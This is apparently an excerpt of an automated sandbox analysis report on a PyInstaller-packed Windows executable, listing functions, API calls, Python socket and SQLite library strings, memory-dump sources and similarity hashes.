VerSetConditionMask.NTDLL ref: 00007FFB1BA427D6
VerSetConditionMask.NTDLL ref: 00007FFB1BA427E7
VerSetConditionMask.NTDLL ref: 00007FFB1BA427F8
VerifyVersionInfoA.KERNEL32 ref: 00007FFB1BA4281F

Strings

IPPROTO_IDP, xrefs: 00007FFB1BA41B90
SIO_KEEPALIVE_VALS, xrefs: 00007FFB1BA426A1
SOCK_DGRAM, xrefs: 00007FFB1BA41614
AF_LINK, xrefs: 00007FFB1BA413B4
SOMAXCONN, xrefs: 00007FFB1BA418A8
RCVALL_SOCKETLEVELONLY, xrefs: 00007FFB1BA4275E
EAI_AGAIN, xrefs: 00007FFB1BA42385
SO_DONTROUTE, xrefs: 00007FFB1BA41722
RCVALL_ON, xrefs: 00007FFB1BA42740
IPPROTO_PGM, xrefs: 00007FFB1BA41DAC
EAI_MEMORY, xrefs: 00007FFB1BA423FD
TCP_FASTOPEN, xrefs: 00007FFB1BA42367
INADDR_NONE, xrefs: 00007FFB1BA41EF3
IPPROTO_CBT, xrefs: 00007FFB1BA41D52
IPPROTO_SCTP, xrefs: 00007FFB1BA41CBC, 00007FFB1BA41DE8
AI_NUMERICSERV, xrefs: 00007FFB1BA424ED
AI_ALL, xrefs: 00007FFB1BA4250B
SO_REUSEADDR, xrefs: 00007FFB1BA416C8
SOCK_SEQPACKET, xrefs: 00007FFB1BA41650
MSG_TRUNC, xrefs: 00007FFB1BA41920
SIO_LOOPBACK_FAST_PATH, xrefs: 00007FFB1BA426BA
IPPROTO_EGP, xrefs: 00007FFB1BA41B36
BTPROTO_RFCOMM, xrefs: 00007FFB1BA4159A
RCVALL_OFF, xrefs: 00007FFB1BA42722
IP_PKTINFO, xrefs: 00007FFB1BA4205B
TCP_KEEPINTVL, xrefs: 00007FFB1BA4232B
SO_TYPE, xrefs: 00007FFB1BA4188A
IPPROTO_ESP, xrefs: 00007FFB1BA41C08
NI_NOFQDN, xrefs: 00007FFB1BA425A1
BDADDR_ANY, xrefs: 00007FFB1BA415BC
TCP_KEEPCNT, xrefs: 00007FFB1BA42349
FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF, xrefs: 00007FFB1BA414FA
SO_RCVBUF, xrefs: 00007FFB1BA417D6
INADDR_ANY, xrefs: 00007FFB1BA41E3F
IPPROTO_DSTOPTS, xrefs: 00007FFB1BA41C80
EAI_NONAME, xrefs: 00007FFB1BA42439
IPPROTO_ICMPV6, xrefs: 00007FFB1BA41C44
socket.gaierror, xrefs: 00007FFB1BA41168
NI_NUMERICHOST, xrefs: 00007FFB1BA425BF
HV_GUID_WILDCARD, xrefs: 00007FFB1BA414E5
IP_BLOCK_SOURCE, xrefs: 00007FFB1BA42097
IPPROTO_GGP, xrefs: 00007FFB1BA41ABE
IP_DROP_SOURCE_MEMBERSHIP, xrefs: 00007FFB1BA420D3
SOL_IP, xrefs: 00007FFB1BA419F2
SO_RCVLOWAT, xrefs: 00007FFB1BA41812
IP_HDRINCL, xrefs: 00007FFB1BA41F2F
SO_ERROR, xrefs: 00007FFB1BA4186C
NI_NAMEREQD, xrefs: 00007FFB1BA425DD
TCP_MAXSEG, xrefs: 00007FFB1BA422EF
AF_INET6, xrefs: 00007FFB1BA41378
RCVALL_MAX, xrefs: 00007FFB1BA4277C
IPPROTO_RDP, xrefs: 00007FFB1BA41D8E
IP_MULTICAST_IF, xrefs: 00007FFB1BA41FC5
A42E7CDA-D03F-480C-9CC2-A4DE20ABB878, xrefs: 00007FFB1BA41557
IPV6_MULTICAST_IF, xrefs: 00007FFB1BA4214B
IPPROTO_FRAGMENT, xrefs: 00007FFB1BA41BEA
IPPROTO_MAX, xrefs: 00007FFB1BA41CF8
WSAStartup failed: error code %d, xrefs: 00007FFB1BA439CF
IPPROTO_UDP, xrefs: 00007FFB1BA41B72
IPPROTO_ICMP, xrefs: 00007FFB1BA41A82
AF_APPLETALK, xrefs: 00007FFB1BA4135A
AF_BLUETOOTH, xrefs: 00007FFB1BA4157C
SO_SNDLOWAT, xrefs: 00007FFB1BA417F4
error, xrefs: 00007FFB1BA411AA
IPPORT_RESERVED, xrefs: 00007FFB1BA41E06
AF_SNA, xrefs: 00007FFB1BA413D2
EAI_FAMILY, xrefs: 00007FFB1BA423DF
NI_MAXHOST, xrefs: 00007FFB1BA42565
SO_USELOOPBACK, xrefs: 00007FFB1BA4175E
IPPROTO_TCP, xrefs: 00007FFB1BA41B18
WSAStartup failed: network not ready, xrefs: 00007FFB1BA439E8
WSAStartup failed: requested version not supported, xrefs: 00007FFB1BA439F1
IPPROTO_ROUTING, xrefs: 00007FFB1BA41BCC
MSG_MCAST, xrefs: 00007FFB1BA419B6
EAI_SERVICE, xrefs: 00007FFB1BA42457
HV_GUID_ZERO, xrefs: 00007FFB1BA414C6
IPV6_CHECKSUM, xrefs: 00007FFB1BA421C3
IPV6_UNICAST_HOPS, xrefs: 00007FFB1BA42187
gaierror, xrefs: 00007FFB1BA4118B
IPPROTO_ND, xrefs: 00007FFB1BA41BAE
IP_TOS, xrefs: 00007FFB1BA41F4D
00000000-0000-0000-0000-000000000000, xrefs: 00007FFB1BA414BC, 00007FFB1BA414DB
SOCK_RAW, xrefs: 00007FFB1BA41632
IPPROTO_L2TP, xrefs: 00007FFB1BA41DCA
SO_BROADCAST, xrefs: 00007FFB1BA41740
IPPROTO_AH, xrefs: 00007FFB1BA41C26
SIO_RCVALL, xrefs: 00007FFB1BA42688
IPPROTO_IGMP, xrefs: 00007FFB1BA41AA0
HV_GUID_PARENT, xrefs: 00007FFB1BA41561
has_ipv6, xrefs: 00007FFB1BA4123E
AI_V4MAPPED, xrefs: 00007FFB1BA42547
IP_RECVTOS, xrefs: 00007FFB1BA41F89
INADDR_MAX_LOCAL_GROUP, xrefs: 00007FFB1BA41ED5
IPPROTO_PIM, xrefs: 00007FFB1BA41C9E
TCP_KEEPIDLE, xrefs: 00007FFB1BA4230D
IPPROTO_IP, xrefs: 00007FFB1BA41A49
MSG_PEEK, xrefs: 00007FFB1BA418E4
EAI_FAIL, xrefs: 00007FFB1BA423C1
E0E16197-DD56-4A10-9195-5EE7A155A838, xrefs: 00007FFB1BA41538
SO_RCVTIMEO, xrefs: 00007FFB1BA4184E
INADDR_UNSPEC_GROUP, xrefs: 00007FFB1BA41E99
IPV6_PKTINFO, xrefs: 00007FFB1BA4223B
SO_DEBUG, xrefs: 00007FFB1BA4168C
00:00:00:FF:FF:FF, xrefs: 00007FFB1BA415D1
IPPROTO_IPV4, xrefs: 00007FFB1BA41ADC
IPV6_V6ONLY, xrefs: 00007FFB1BA421A5
SO_ACCEPTCONN, xrefs: 00007FFB1BA416AA
IPV6_RTHDR, xrefs: 00007FFB1BA42295
NI_NUMERICSERV, xrefs: 00007FFB1BA425FB
IPV6_HOPOPTS, xrefs: 00007FFB1BA4221D
IPPROTO_IPV6, xrefs: 00007FFB1BA41AFA
IP_UNBLOCK_SOURCE, xrefs: 00007FFB1BA42079
IPPROTO_ST, xrefs: 00007FFB1BA41D34
IP_RECVDSTADDR, xrefs: 00007FFB1BA41FA7
SO_SNDBUF, xrefs: 00007FFB1BA417B8
IP_MULTICAST_TTL, xrefs: 00007FFB1BA41FE3
MSG_CTRUNC, xrefs: 00007FFB1BA4193E
BDADDR_LOCAL, xrefs: 00007FFB1BA415DB
IPV6_MULTICAST_HOPS, xrefs: 00007FFB1BA4212D
INADDR_LOOPBACK, xrefs: 00007FFB1BA41E7B
MSG_OOB, xrefs: 00007FFB1BA418C6
IPV6_RECVRTHDR, xrefs: 00007FFB1BA42259
HV_GUID_BROADCAST, xrefs: 00007FFB1BA41504
MSG_ERRQUEUE, xrefs: 00007FFB1BA4197A
MSG_DONTROUTE, xrefs: 00007FFB1BA41902
HVSOCKET_ADDRESS_FLAG_PASSTHRU, xrefs: 00007FFB1BA414A4
AI_ADDRCONFIG, xrefs: 00007FFB1BA42529
IPPROTO_RAW, xrefs: 00007FFB1BA41CDA
IP_MULTICAST_LOOP, xrefs: 00007FFB1BA42001
IP_OPTIONS, xrefs: 00007FFB1BA41F11
IPPROTO_NONE, xrefs: 00007FFB1BA41C62
IPV6_HOPLIMIT, xrefs: 00007FFB1BA421FF
_socket.CAPI, xrefs: 00007FFB1BA412B8
SO_EXCLUSIVEADDRUSE, xrefs: 00007FFB1BA416E6
HVSOCKET_CONNECT_TIMEOUT_MAX, xrefs: 00007FFB1BA41468
EAI_BADFLAGS, xrefs: 00007FFB1BA423A3
IPPROTO_PUP, xrefs: 00007FFB1BA41B54
SO_SNDTIMEO, xrefs: 00007FFB1BA41830
MSG_BCAST, xrefs: 00007FFB1BA41998
SOL_TCP, xrefs: 00007FFB1BA41A10
HVSOCKET_CONNECTED_SUSPEND, xrefs: 00007FFB1BA41486
HV_GUID_LOOPBACK, xrefs: 00007FFB1BA41542
AF_HYPERV, xrefs: 00007FFB1BA4140E
IPV6_MULTICAST_LOOP, xrefs: 00007FFB1BA42169
SO_LINGER, xrefs: 00007FFB1BA4177C
MSG_WAITALL, xrefs: 00007FFB1BA4195C
90DB8B89-0D35-4F79-8CE9-49EA0AC8B7CD, xrefs: 00007FFB1BA41519
SOCK_RDM, xrefs: 00007FFB1BA4166E
IP_ADD_SOURCE_MEMBERSHIP, xrefs: 00007FFB1BA420B5
SHUT_RDWR, xrefs: 00007FFB1BA42670
AF_INET, xrefs: 00007FFB1BA4131E
NI_DGRAM, xrefs: 00007FFB1BA42619
IPPROTO_HOPOPTS, xrefs: 00007FFB1BA41A64
NI_MAXSERV, xrefs: 00007FFB1BA42583
AF_IPX, xrefs: 00007FFB1BA4133C
timeout, xrefs: 00007FFB1BA411CC
HV_PROTOCOL_RAW, xrefs: 00007FFB1BA4142C
IP_TTL, xrefs: 00007FFB1BA41F6B
AI_CANONNAME, xrefs: 00007FFB1BA424B1
IPPROTO_ICLFXBM, xrefs: 00007FFB1BA41D16
EAI_NODATA, xrefs: 00007FFB1BA4241B
AF_DECnet, xrefs: 00007FFB1BA41396
TCP_NODELAY, xrefs: 00007FFB1BA422D1
IPV6_LEAVE_GROUP, xrefs: 00007FFB1BA4210F
IPPROTO_IGP, xrefs: 00007FFB1BA41D70
IPV6_RECVTCLASS, xrefs: 00007FFB1BA42277
SO_KEEPALIVE, xrefs: 00007FFB1BA41704
IP_ADD_MEMBERSHIP, xrefs: 00007FFB1BA4201F
INADDR_BROADCAST, xrefs: 00007FFB1BA41E5D
IP_DROP_MEMBERSHIP, xrefs: 00007FFB1BA4203D
SOL_SOCKET, xrefs: 00007FFB1BA419D4
AF_IRDA, xrefs: 00007FFB1BA413F0
SOL_UDP, xrefs: 00007FFB1BA41A2E
IPV6_DONTFRAG, xrefs: 00007FFB1BA421E1
AI_PASSIVE, xrefs: 00007FFB1BA42493
INADDR_ALLHOSTS_GROUP, xrefs: 00007FFB1BA41EB7
AF_UNSPEC, xrefs: 00007FFB1BA41300
herror, xrefs: 00007FFB1BA41149
SO_OOBINLINE, xrefs: 00007FFB1BA4179A
socket.herror, xrefs: 00007FFB1BA41117
AI_NUMERICHOST, xrefs: 00007FFB1BA424CF
SHUT_RD, xrefs: 00007FFB1BA42634
CAPI, xrefs: 00007FFB1BA412D4
SHUT_WR, xrefs: 00007FFB1BA42652
00:00:00:00:00:00, xrefs: 00007FFB1BA415B2
IPPORT_USERRESERVED, xrefs: 00007FFB1BA41E24
HV_GUID_CHILDREN, xrefs: 00007FFB1BA41523
SocketType, xrefs: 00007FFB1BA4120B
EAI_SOCKTYPE, xrefs: 00007FFB1BA42475
SOCK_STREAM, xrefs: 00007FFB1BA415F6
HVSOCKET_CONNECT_TIMEOUT, xrefs: 00007FFB1BA4144A
IPV6_TCLASS, xrefs: 00007FFB1BA422B3
IPV6_JOIN_GROUP, xrefs: 00007FFB1BA420F1

Memory Dump Source

Source File: 00000007.00000002.1715198195.00007FFB1BA41000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00007FFB1BA40000, based on PE: true

Associated: 00000007.00000002.1715163702.00007FFB1BA40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA51000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA53000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA56000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715358150.00007FFB1BA57000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715396794.00007FFB1BA58000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1ba40000_X9g8L63QGs.jbxd

Similarity

API ID: ConditionMask$00007InfoStartupVerifyVersion
String ID: 00000000-0000-0000-0000-000000000000$00:00:00:00:00:00$00:00:00:FF:FF:FF$90DB8B89-0D35-4F79-8CE9-49EA0AC8B7CD$A42E7CDA-D03F-480C-9CC2-A4DE20ABB878$AF_APPLETALK$AF_BLUETOOTH$AF_DECnet$AF_HYPERV$AF_INET$AF_INET6$AF_IPX$AF_IRDA$AF_LINK$AF_SNA$AF_UNSPEC$AI_ADDRCONFIG$AI_ALL$AI_CANONNAME$AI_NUMERICHOST$AI_NUMERICSERV$AI_PASSIVE$AI_V4MAPPED$BDADDR_ANY$BDADDR_LOCAL$BTPROTO_RFCOMM$CAPI$E0E16197-DD56-4A10-9195-5EE7A155A838$EAI_AGAIN$EAI_BADFLAGS$EAI_FAIL$EAI_FAMILY$EAI_MEMORY$EAI_NODATA$EAI_NONAME$EAI_SERVICE$EAI_SOCKTYPE$FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF$HVSOCKET_ADDRESS_FLAG_PASSTHRU$HVSOCKET_CONNECTED_SUSPEND$HVSOCKET_CONNECT_TIMEOUT$HVSOCKET_CONNECT_TIMEOUT_MAX$HV_GUID_BROADCAST$HV_GUID_CHILDREN$HV_GUID_LOOPBACK$HV_GUID_PARENT$HV_GUID_WILDCARD$HV_GUID_ZERO$HV_PROTOCOL_RAW$INADDR_ALLHOSTS_GROUP$INADDR_ANY$INADDR_BROADCAST$INADDR_LOOPBACK$INADDR_MAX_LOCAL_GROUP$INADDR_NONE$INADDR_UNSPEC_GROUP$IPPORT_RESERVED$IPPORT_USERRESERVED$IPPROTO_AH$IPPROTO_CBT$IPPROTO_DSTOPTS$IPPROTO_EGP$IPPROTO_ESP$IPPROTO_FRAGMENT$IPPROTO_GGP$IPPROTO_HOPOPTS$IPPROTO_ICLFXBM$IPPROTO_ICMP$IPPROTO_ICMPV6$IPPROTO_IDP$IPPROTO_IGMP$IPPROTO_IGP$IPPROTO_IP$IPPROTO_IPV4$IPPROTO_IPV6$IPPROTO_L2TP$IPPROTO_MAX$IPPROTO_ND$IPPROTO_NONE$IPPROTO_PGM$IPPROTO_PIM$IPPROTO_PUP$IPPROTO_RAW$IPPROTO_RDP$IPPROTO_ROUTING$IPPROTO_SCTP$IPPROTO_ST$IPPROTO_TCP$IPPROTO_UDP$IPV6_CHECKSUM$IPV6_DONTFRAG$IPV6_HOPLIMIT$IPV6_HOPOPTS$IPV6_JOIN_GROUP$IPV6_LEAVE_GROUP$IPV6_MULTICAST_HOPS$IPV6_MULTICAST_IF$IPV6_MULTICAST_LOOP$IPV6_PKTINFO$IPV6_RECVRTHDR$IPV6_RECVTCLASS$IPV6_RTHDR$IPV6_TCLASS$IPV6_UNICAST_HOPS$IPV6_V6ONLY$IP_ADD_MEMBERSHIP$IP_ADD_SOURCE_MEMBERSHIP$IP_BLOCK_SOURCE$IP_DROP_MEMBERSHIP$IP_DROP_SOURCE_MEMBERSHIP$IP_HDRINCL$IP_MULTICAST_IF$IP_MULTICAST_LOOP$IP_MULTICAST_TTL$IP_OPTIONS$IP_PKTINFO$IP_RECVDSTADDR$IP_RECVTOS$IP_TOS$IP_TTL$IP_UNBLOCK_SOURCE$MSG_BCAST$MSG_CTRUNC$MSG_DONTROUTE$MSG_ERRQUEUE$MSG_MCAST$MSG_OOB$MSG_PEEK$MSG_TRUNC$MSG_WAITALL$NI_DGRAM$NI_MAXHOST$NI_MAXSERV$NI_NAMEREQD$NI_NOFQDN$NI_NUMERICHOST$NI_NUMERICSERV$RCVALL_MAX$RCVALL_OFF$RCVALL_ON$RCVALL_SOCKETLEVELONLY$SHUT_RD$SHUT_RDWR$SHUT_WR$SIO_KEEPALIVE_VALS$SIO_LOOPBACK_FAST_PATH$SIO_RCVALL$SOCK_DGRAM$SOCK_RAW$SOCK_RDM$SOCK_SEQPACKET$SOCK_STREAM$SOL_IP$SOL_SOCKET$SOL_TCP$SOL_UDP$SOMAXCONN$SO_ACCEPTCONN$SO_BROADCAST$SO_DEBUG$SO_DONTROUTE$SO_ERROR$SO_EXCLUSIVEADDRUSE$SO_KEEPALIVE$SO_LINGER$SO_OOBINLINE$SO_RCVBUF$SO_RCVLOWAT$SO_RCVTIMEO$SO_REUSEADDR$SO_SNDBUF$SO_SNDLOWAT$SO_SNDTIMEO$SO_TYPE$SO_USELOOPBACK$SocketType$TCP_FASTOPEN$TCP_KEEPCNT$TCP_KEEPIDLE$TCP_KEEPINTVL$TCP_MAXSEG$TCP_NODELAY$WSAStartup failed: error code %d$WSAStartup failed: network not ready$WSAStartup failed: requested version not supported$_socket.CAPI$error$gaierror$has_ipv6$herror$socket.gaierror$socket.herror$timeout
API String ID: 2428397897-1188461360
Opcode ID: f3ee92442da01c5675d5574538c33161c2b68c1f843b35255a2c0a6b2ee3d7ac
Instruction ID: 42e90f81162037b2f6f4411b2fc32ef9e0300506fe2d52dbb5dd2952bc8df6c0
Opcode Fuzzy Hash: f3ee92442da01c5675d5574538c33161c2b68c1f843b35255a2c0a6b2ee3d7ac
Instruction Fuzzy Hash: D0D2CBA0F38F1349F6188B36E8542651A56FF45BE1F88F239C90E8A674EF6DE119C341

Function 00007FF7C2661000 Relevance: 61.8, APIs: 7, Strings: 28, Instructions: 509
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to start splash screen!, xrefs: 00007FF7C2663ED4
_PYI_ARCHIVE_FILE, xrefs: 00007FF7C26638D2, 00007FF7C26639FF
Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s, xrefs: 00007FF7C2663B32
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF7C2663BE8
Failed to load splash screen resources!, xrefs: 00007FF7C2663E85
pyi-python-flag, xrefs: 00007FF7C2663AD6
_PYI_SPLASH_IPC, xrefs: 00007FF7C2663A23, 00007FF7C2663EF5
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF7C2663C61
_PYI_PARENT_PROCESS_LEVEL, xrefs: 00007FF7C2663A17, 00007FF7C2663A2F, 00007FF7C2663A9B
Py_GIL_DISABLED, xrefs: 00007FF7C2663AF4
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF7C2663EBB
_PYI_APPLICATION_HOME_DIR, xrefs: 00007FF7C2663A0B, 00007FF7C2663CD4, 00007FF7C2663F6B
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF7C2663EA6
VCRUNTIME140.dll, xrefs: 00007FF7C2663DB1
PYINSTALLER_SUPPRESS_SPLASH_SCREEN, xrefs: 00007FF7C2663E0A
pyi-contents-directory, xrefs: 00007FF7C2663B8D
bye-runtime-tmpdir, xrefs: 00007FF7C2663B68
Failed to remove temporary directory: %s, xrefs: 00007FF7C2663FC3
pyi-disable-windowed-traceback, xrefs: 00007FF7C2663BB2
pkg, xrefs: 00007FF7C26639BE
MEI, xrefs: 00007FF7C2663933
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF7C2663D12
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF7C2663971
Failed to convert DLL search path!, xrefs: 00007FF7C2663DDC
Could not create temporary directory!, xrefs: 00007FF7C2663CBF
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF7C26639DE
_PYI_APPLICATION_HOME_DIR not set for onefile child process!, xrefs: 00007FF7C2663D35
PYINSTALLER_RESET_ENVIRONMENT, xrefs: 00007FF7C2663882, 00007FF7C26638AF

Memory Dump Source

Source File: 00000007.00000002.1710456496.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000007.00000002.1710418223.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710502277.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C26A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710622802.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$bye-runtime-tmpdir$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag
API String ID: 2776309574-3273434969
Opcode ID: d0508df3f57ee1b007a386c5103efc2761290cd4262653a9171a3b2890b356a0
Instruction ID: a126fb637c7a3bb1d0b2850f1203ae32a2a722ba97f7b845208a13040d220de5
Opcode Fuzzy Hash: d0508df3f57ee1b007a386c5103efc2761290cd4262653a9171a3b2890b356a0
Instruction Fuzzy Hash: 13328021A0868291FB14BF2194543B9A673AF55BA4FC44032DACD63BD6DFBCE568C334

Function 00007FFB0C0392B0 Relevance: 14.5, APIs: 5, Strings: 3, Instructions: 513
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C03937F
00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C03945E
00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C039480
00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C03963E
00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C039667

Strings

immutable, xrefs: 00007FFB0C0397FD
nolock, xrefs: 00007FFB0C0397C5
-journal, xrefs: 00007FFB0C039646

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID: -journal$immutable$nolock
API String ID: 3122504284-4201244970
Opcode ID: a1f561667bbe6322790191b89becdf0bea67dc52a5ba2455568e19f1d4293569
Instruction ID: 53c8c0319c4ce794d61d3b2637a2eb71b9fe32fbb3f3f86bd7636842b432a36e
Opcode Fuzzy Hash: a1f561667bbe6322790191b89becdf0bea67dc52a5ba2455568e19f1d4293569
Instruction Fuzzy Hash: 5C329CE2A09B8286EB259F35D448B7827A5FF44BA4F484234DA6E077D4EF7CE455C308

Function 00007FFB0C09CF30 Relevance: 14.4, APIs: 1, Strings: 7, Instructions: 441COMMON

Download Yara Rule

APIs

00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C09D5A7

Strings

%s at line %d of [%.10s], xrefs: 00007FFB0C09CFAE
misuse, xrefs: 00007FFB0C09CFA2
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFB0C09CF95
invalid, xrefs: 00007FFB0C09CF72
NULL, xrefs: 00007FFB0C09CF5D
API call with %s database connection pointer, xrefs: 00007FFB0C09CF84
unopened, xrefs: 00007FFB0C09CF7D

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$API call with %s database connection pointer$NULL$invalid$misuse$unopened
API String ID: 3122504284-509082904
Opcode ID: bc0f1b3d37c7c14db3c6a3fb4993dfbb8ccb39d95472aa5842e03a8855881612
Instruction ID: 5de30785aa94ebabfe42c2dbddb2cf50a1c5d0f066451331ead2f7a04ad961d6
Opcode Fuzzy Hash: bc0f1b3d37c7c14db3c6a3fb4993dfbb8ccb39d95472aa5842e03a8855881612
Instruction Fuzzy Hash: F012ACE2A4DB8285EB549F35E458BB967A1FF80B88F584031DE5E076A4EF3CE445C308

Function 00007FF7C26869D4 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7C2686708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C2686749
Part of subcall function 00007FF7C2686708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C26867C7
Part of subcall function 00007FF7C2686708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C2686818

CreateFileW.KERNEL32 ref: 00007FF7C2686ADA
CreateFileW.KERNEL32 ref: 00007FF7C2686B2A
GetLastError.KERNEL32 ref: 00007FF7C2686B5A
GetFileType.KERNEL32 ref: 00007FF7C2686B6F
GetLastError.KERNEL32 ref: 00007FF7C2686B79
CloseHandle.KERNEL32 ref: 00007FF7C2686BAC
CloseHandle.KERNEL32 ref: 00007FF7C2686D0F
CreateFileW.KERNEL32 ref: 00007FF7C2686D44
GetLastError.KERNEL32 ref: 00007FF7C2686D53

Memory Dump Source

Source File: 00000007.00000002.1710456496.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000007.00000002.1710418223.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710502277.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C26A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710622802.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: 4205a6958293653b93a25a06bf68436f7b6b11ca03fe036e6858b65a4e3d069e
Instruction ID: bf498a22dbfba0db295f622562c6cd6d45920bef7404c585b36de946709df130
Opcode Fuzzy Hash: 4205a6958293653b93a25a06bf68436f7b6b11ca03fe036e6858b65a4e3d069e
Instruction Fuzzy Hash: 7CC1C232B28A41C5EB10EFA5D4906AC7762F749BA8B414235DFAEA7BD4CF78D451C320

Function 00007FFB0C0A4C70 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 370COMMON

Download Yara Rule

APIs

00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C0A4EFD
00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C0A4FAE

Strings

out of memory, xrefs: 00007FFB0C0A4D5F
statement too long, xrefs: 00007FFB0C0A4EB3
database schema is locked: %s, xrefs: 00007FFB0C0A4E56

Memory Dump Source

